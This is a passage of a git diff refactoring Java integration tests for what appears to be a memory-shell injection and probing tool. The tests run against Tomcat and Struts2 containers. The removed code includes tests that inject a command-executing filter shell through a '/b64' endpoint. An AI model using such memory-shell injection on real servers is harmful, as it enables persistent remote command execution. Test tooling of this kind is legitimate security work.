ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V17); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBodySpring() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V17); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromSpringBoot(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V17); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java index a1c8a570..0017b5be 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java @@ -2,72 +2,59 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.struct2WarFile; -import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Struct2ContainerTest { - public static final String imageName = "tomcat:8-jre8"; +public class Struct2ContainerTest extends AbstractProbeContainerTest { - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(struct2WarFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); + private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:8-jre8") + .warFile(struct2WarFile) + .expectedJdkVersion("JRE|1.8.0_402|52") + .targetJdkVersion(Opcodes.V1_8) + .supportsBytecode(false) + .supportsFilterProbe(false) + .supportsBytecodeWithoutPrefix(false) + .build(); - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|1.8.0_402|52", data); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); + @Override + protected GenericContainer getContainer() { + return container; } + @Override @Test @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); + protected void testCommandReqHeaderResponseBody() { + String url = getUrl(); ProbeAssertion.responseCommandIsOk(url, Server.Struct2, Opcodes.V1_8); } + @Override @Test @SneakyThrows - void testScriptEngineReqHeaderResponseBody() { - String url = getUrl(container); + protected void testScriptEngineReqHeaderResponseBody() { + String url = getUrl(); ProbeAssertion.responseScriptEngineIsOk(url, Server.Struct2, Opcodes.V1_8); } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java index e57561a0..84b87bb3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java @@ -1,112 +1,35 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat10ContainerTest { - public static final String imageName = "tomcat:10.1.44-jre11"; +public class Tomcat10ContainerTest extends AbstractProbeContainerTest { - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @AfterAll - public static void tearDown() { - log.info(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|11.0.28|55", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcatJakarta("tomcat:10.1.44-jre11") + .expectedJdkVersion("JRE|11.0.28|55") + .targetJdkVersion(Opcodes.V11) + .supportsScriptEngine(true) + .build(); - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11); - } - - @Test - @SneakyThrows - void testScriptEngineReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V11); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V11); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - log.info(data); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java index 65f7786c..d31c93f8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java @@ -1,102 +1,34 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat11ContainerTest { - - public static final String imageName = "tomcat:11.0.10-jre17"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); +public class Tomcat11ContainerTest extends AbstractProbeContainerTest { - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|17.0.16|61", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcatJakarta("tomcat:11.0.10-jre17") + .expectedJdkVersion("JRE|17.0.16|61") + .targetJdkVersion(Opcodes.V17) + .build(); - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V17); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V17); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - log.info(data); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java index 5ef6766c..32b3f38f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,100 +1,34 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat11JRE21ContainerTest { +public class Tomcat11JRE21ContainerTest extends AbstractProbeContainerTest { - public static final String imageName = "tomcat:11.0.10-jre21"; + private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcatJakarta("tomcat:11.0.10-jre21") + .expectedJdkVersion("JRE|21.0.8|65") + .targetJdkVersion(Opcodes.V21) + .build(); @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|21.0.8|65", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V21); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V21); - } + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - log.info(data); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java index 36353e22..7ba9a23e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat5ContainerTest.java @@ -1,116 +1,42 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.junitpioneer.jupiter.RetryingTest; -import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.startsWith; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat5ContainerTest { - public static final String imageName = "reajason/tomcat:5-jdk6"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @AfterAll - public static void tearDown() { - log.info(container.getLogs()); - } - - // 存在首次请求,Tomcat 无法通过 req.getParameter 拿到参数的情况,因此需要重试 - @RetryingTest(3) - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.6.0_45|50", data); - } +public class Tomcat5ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("reajason/tomcat:5-jdk6") + .expectedJdkVersion("JDK|1.6.0_45|50") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testScriptEngineReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected GenericContainer getContainer() { + return container; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + // 存在首次请求,Tomcat 无法通过 req.getParameter 拿到参数的情况,因此需要重试 + @Override + @RetryingTest(3) + protected void testJDK() { + doTestJDK(); } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java index 3ee494bb..13574049 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat6ContainerTest.java @@ -1,107 +1,34 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat6ContainerTest { - public static final String imageName = "reajason/tomcat:6-jdk6"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.6.0_45|50", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } +public class Tomcat6ContainerTest extends AbstractProbeContainerTest { - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("reajason/tomcat:6-jdk6") + .expectedJdkVersion("JDK|1.6.0_45|50") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testScriptEngineReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java index f0afa751..966cade8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat7ContainerTest.java @@ -1,109 +1,41 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.junitpioneer.jupiter.RetryingTest; -import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat7ContainerTest { - public static final String imageName = "tomcat:7.0.85-jre7"; - - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); +public class Tomcat7ContainerTest extends AbstractProbeContainerTest { - @RetryingTest(3) - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|1.7.0_171|51", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:7.0.85-jre7") + .expectedJdkVersion("JRE|1.7.0_171|51") + .targetJdkVersion(Opcodes.V1_7) + .build(); - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7); - } - - @Test - @SneakyThrows - void testScriptEngineReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_7); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - 